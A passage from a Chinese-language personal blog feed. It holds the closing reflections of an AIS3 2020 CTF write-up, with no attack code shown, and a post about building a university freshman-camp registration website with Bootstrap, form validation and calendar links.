<p>作者的<a href="https://github.com/djosix/AIS3-2020-Pre-Exam#snake-web" target="_blank" rel="noreferrer">官方解<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>那邊還有很多解法</p>
<p>伺服器被玩壞可能的原因等等腦洞大開的細節</p>
<p>有興趣就自行移駕囉</p>
<h2 id="心得" class="relative group">心得 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/scoreboard.png"
      class="mx-auto my-0 rounded-md"
      alt="Scoreboard"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">我的得分榜</figcaption>
</figure>
</p>
<p>人生中第一場 CTF，解了 10 題，看了很多前輩寫的 Write Up，讓我獲益良多，解了不少題目，所以比賽還沒結束我就想好要寫這份 Write Up 和心得了。</p>
<p>作為一個新手寫的的 Write Up，立場應該會稍微接近正常人的思維，沒有祖傳秘方或通靈大法，解題過程都還算有上下文，希望能幫助到有興趣的人。</p>
<p>也感謝所有的出題 TA：</p>
<ul>
<li><del>出了很多水題讓我撿</del></li>
<li>24 小時全力放送洗腦音樂、宣傳各種邪教（X</li>
<li>最後一天伺服器爆了加賽 2 小時，讓我親眼見證 Saburo 是解的出來的</li>
</ul>
<p>順便附上一點小心得：</p>
<ul>
<li>
<p>搜尋關鍵字 + CTF 可以平均一題可以節省 30 分鐘至 3 小時左右</p>
</li>
<li>
<p>解題不用通靈，但是快速分辨水題可能要 (?)，先寫會的這種事相信大啊國小老師都有教 吧(?)</p>
</li>
<li>
<p>不要屯 flag、不要屯 flag、不要屯 flag







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/final-countdown.png"
      class="mx-auto my-0 rounded-md"
      alt="Final Countdown"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">節錄自 Discord 的 Final Countdown 播到最後一次副歌的聊天室</figcaption>
</figure>
</p>
</li>
<li>
<p><del>AIS3 重點不是解題，進 Discord 聊天群刷 GIF 和 emoji 才是本體</del></p>
</li>
</ul>
<p>好了，這份 Write Up 經歷期末專題加期末考轟炸，</p>
<p>打了這麼久，終於收工了，感謝各位客官的收看</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//pznmz96.gif"
      class="mx-auto my-0 rounded-md"
      alt="Rainbow Capoo Shake"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/about-1billion-char.png"
      class="mx-auto my-0 rounded-md"
      alt="Flag Length"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/ctf-player.jpg"
      class="mx-auto my-0 rounded-md"
      alt="CTF Player"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//gxPJUBl.jpeg"
      class="mx-auto my-0 rounded-md"
      alt="I&rsquo;m just sucked"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
]]></content:encoded><category>🤖 開發</category><guid isPermaLink="false">ais3-2020-pre-exam-write-up</guid><pubDate>Sat, 13 Jun 2020 03:58:46 +0800</pubDate></item><item><title>2018 元智四資迎新網站</title><link>https://blog.tomy.me/zh-tw/posts/yzu-ci-camp-website/</link><description>細數那些你看不到的細節</description><content:encoded><![CDATA[<h2 id="前言" class="relative group">前言 </h2><p>學術組應該可以說是我最早加入的一個組，其實也比較符合我原本給我自己定位的角色。後來因為純學術太無聊，結果搞到莫名其妙把學術跟活動全部喇在一起的部分，我就不贅述了。但其實這也是有考量的，下面會再各個提到。</p>
<h2 id="-首頁" class="relative group">🏠 首頁 </h2><p>如果有人 (?) 有仔細觀察我們的報名網站，應該不難發現首頁的架構和其他地方都有極大的差距。</p>
<p>嗯 因為那不是我做的，跟我習慣用的框架也不一樣（他用的是 W3 CSS 我習慣的是 Bootstrap ）。</p>
<p>可是今天有東西要修改的時候，大改又太花時間了。所以就只能…一個晚上速成惹。</p>
<p>但還是有學到一些好東西。</p>
<h3 id="-font-awesome" class="relative group">🏵️ Font Awesome </h3><p>原本做這個網站的人使用了 <a href="https://fontawesome.com" target="_blank" rel="noreferrer">Font Awesome<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。基本上就是當你需要任何 icon 的時候不用自己找、自己拉。你只要直接搜尋他們畫好的 icon 然後 import 之後在需要的地方。比方說只要這一行：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">i</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;fal fa-user-astronaut&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">i</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/yzu-ci-camp-website/user-astronaut-solid.svg"
      class="mx-auto my-0 rounded-md"
      alt="Astronaut user by Font Awesome"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>噠啦 你就得到了這麼一個可愛的小太空人 xDDDD</p>
<p>可是如果在同一行裡面插入超過一個 icon，中間可能會出現短橫線。這個到現在還是令我匪夷所思，但看在這是免費的份上，我就不計較了。</p>
<h3 id="-加入行事曆" class="relative group">📅 加入行事曆 </h3><p>在眾多我後續加入的功能中，最酷的功能大概就是這個了。</p>
<p>先講簡單的：Google 行事曆基本上就是按照 parameter 打的超長 open links (電腦開網頁 手機如果有 app 開 app 沒 app 開網頁)</p>
<pre tabindex="0"><code>http://www.google.com/calendar/event?
action=TEMPLATE&amp;amp;
dates=20180820/20180824&amp;amp;
text=四資迎新 - 《無限資戰》&amp;amp;
location=元智大學, 320台灣桃園市中壢區遠東路135號&amp;amp;
details=報名費用：3900元
繳費截止日：8/18(六)
集合入宿時間 :
早上9:30 ~ 下午01:00
@男女二宿舍一樓廣場
https://fb.me/YZUCICamp2018
</code></pre><p>最後這坨東西通通 URL Encode 之後丟進 <code>&lt;a&gt;</code> 的 <code>href</code>，最終成品成長<a href="http://www.google.com/calendar/event?action=TEMPLATE&amp;dates=20180820%2F20180824&amp;text=%E5%9B%9B%E8%B3%87%E8%BF%8E%E6%96%B0%20-%20%E3%80%8A%E7%84%A1%E9%99%90%E8%B3%87%E6%88%B0%E3%80%8B&amp;location=%E5%85%83%E6%99%BA%E5%A4%A7%E5%AD%B8%2C%20320%E5%8F%B0%E7%81%A3%E6%A1%83%E5%9C%92%E5%B8%82%E4%B8%AD%E5%A3%A2%E5%8D%80%E9%81%A0%E6%9D%B1%E8%B7%AF135%E8%99%9F&amp;details=%E5%A0%B1%E5%90%8D%E8%B2%BB%E7%94%A8%EF%BC%9A3900%E5%85%83%0A%E7%B9%B3%E8%B2%BB%E6%88%AA%E6%AD%A2%E6%97%A5%EF%BC%9A8%2F18%28%E5%85%AD%29%0A%E9%9B%86%E5%90%88%E5%85%A5%E5%AE%BF%E6%99%82%E9%96%93%20%3A%0A%E6%97%A9%E4%B8%8A9%3A30%20~%20%E4%B8%8B%E5%8D%8801%3A00%0A%40%E7%94%B7%E5%A5%B3%E4%BA%8C%E5%AE%BF%E8%88%8D%E4%B8%80%E6%A8%93%E5%BB%A3%E5%A0%B4%0Ahttps%3A%2F%2Ffb.me%2FYZUCICamp2018" target="_blank" rel="noreferrer">這樣<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<p>真正麻煩的是Mac/iOS手機的行事曆。</p>
<p>首先，你得要自己先用 Mac 的行事曆建立這個行程，輸出成ics檔，然後放到server變成一個可以下載的檔案。</p>
<p>重點來了：關於這個，下載的部分嘛，iOS Safari 會阻擋未宣告 MIME 的檔案被開啟。所以以 Apache 為例，就要在 <code>.htaccess</code> 特別加上</p>
<pre tabindex="0"><code>AddType text/calendar ics icz
</code></pre><p>這樣當 server 接收到使用者 request 的時候，會檢查到這個 request 正在嘗試下載一個附檔為 ics 的檔案，然後在 response header 裡自動加上 <code>text/calendar</code> 的 MIME，Safari 才會放行打開這個檔案。</p>
<h2 id="-報名網頁" class="relative group">✅ 報名網頁 </h2><p>小插曲一下：當初指考放榜隔天，不知道是哪個奇葩公佈了明明還在施工中的網站。於是乎就有小87半夜不睡覺，急著想要報名，結果報名失敗還來密粉專，說沒辦法報名，真是太可愛了(〃∀〃)。</p>
<p>然後呢，在這十萬火急的情況下，我大學術組就在天亮前生出了這麼一個報名網頁，功能我下面一個一個講。</p>
<h3 id="-mobile-first" class="relative group">📱 Mobile-First </h3><p>這個網頁呢，根據學術組精密的估算，大概會有 87% 的使用者透過手機造訪這個網頁。所以我們使用了 <a href="https://getbootstrap.com" target="_blank" rel="noreferrer">Bootstrap<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的 Framework，讓畫面在不管哪一種平台的手機上看起來都很舒服。大家可以試試看在電腦上開報名的網頁，當瀏覽器視窗的寬度逐漸減少的時候，不同的欄位會自動調整成適合當下狀況的排版。也會儘量確保使用者使用手機報名時，能獲得跟用電腦報名一樣舒服的體驗。</p>
<h3 id="-防呆" class="relative group">🔍 防呆 </h3><p>這個網頁上的每一格欄位都有防呆，從最簡單的 Regex 到身分證字號驗證。其中最智障的就屬這個身分證字號驗證。</p>
<p>上面說了我們的工時有限，所以我隨便 Google 了一串 code 就貼上去用了，結果點閱最高的那一串 code 居然還有 bug，才報名第 3 個人就出現問題。</p>
<p>這個事件大概給我們兩個啟發：</p>
<ol>
<li>工時與品質成正相關</li>
<li>胎彎人只能當碼農 (大誤</li>
</ol>
<h3 id="-選項提示" class="relative group">💡 選項提示 </h3><p>我們在各選項下面加了提示，比方說學號查詢、衣服尺寸表。話說這個衣服尺寸表嘛，雖然 modal box 看起來很高級，但其實是 Bootstrap 內建的 components。幾乎不用什麼特別設定就可以用了。</p>
<h3 id="-預設選項自動消失的下拉式選單" class="relative group">⬇️ 預設選項自動消失的下拉式選單 </h3><p>原本還有一個我自己覺得滿酷的功能，就是下拉式選單在被啟動之後，預設的那一格會自動消失，避免使用者再回去選預設的選項。</p>
<p>但是後來實驗發現，在不同平台的手機上操作時，可能會發生選 4 但是變 3 的問題。而且如果使用者快速的跳過了一堆下拉式選單，那這些選單會自動選取第一格，而且不會被防呆挑出來，很容易在未經確認的情況下誤送錯誤的資料。</p>
<p>所以考量到整體的使用者體驗，這個功能最後被拿掉了。</p>
<h3 id="-自動調整大小的大型文字輸入框" class="relative group">↕️ 自動調整大小的大型文字輸入框 </h3><p>這一格我覺得還蠻可惜的，因為大部分情況下用不到。它看起來只是一般的文字輸入框 (<code>&lt;input type=&quot;text&quot;&gt;</code>)，但其實我是把他做成 <code>&lt;textarea&gt;</code>，然後再另外套了一個黑魔法：<a href="https://github.com/ro31337/jquery.ns-autogrow" target="_blank" rel="noreferrer"><code>jquery.ns-autogrow</code><svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，讓他可以隨著內容的多寡自動長高或縮小。</p>
<p>這邊科普一下：根據 <a href="https://getbootstrap.com/docs/4.1/content/reboot/#forms" target="_blank" rel="noreferrer">Bootstrap Guideline<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，如果你希望對你的網頁有多一點主控權，那就他X的不要讓使用者可以橫向調整 <code>textarea</code> 的大小。不然有高達 87% 的機率，你的畫面會爆炸。所以不管你網站的framework是什麼，這點都應該特別小心處理。</p>
<h3 id="-彩蛋" class="relative group">🪺 彩蛋 </h3><p>最重要的來了。</p>
<p>因為每一格都有防呆，所以就算下拉式選單的選項被亂改，我們的防呆也會擋下來，除了<strong>飲食習慣</strong>這一格。</p>
<p>我們多留了一個隱藏選項：「麥當勞歡樂送」。</p>
<p>原本的打算是，如果有小學員使用了這個選項，我們會真的去訂一份麥當勞回來。</p>
<p>但這個功能後來還是只能留給學術組在課堂中拿來說嘴，真是太可惜了 QQ</p>
]]></content:encoded><category>🤖 開發</category><guid isPermaLink="false">yzu-ci-camp-website</guid><pubDate>Sat, 01 Sep 2018 15:45:17 +0800</pubDate></item></channel></rss>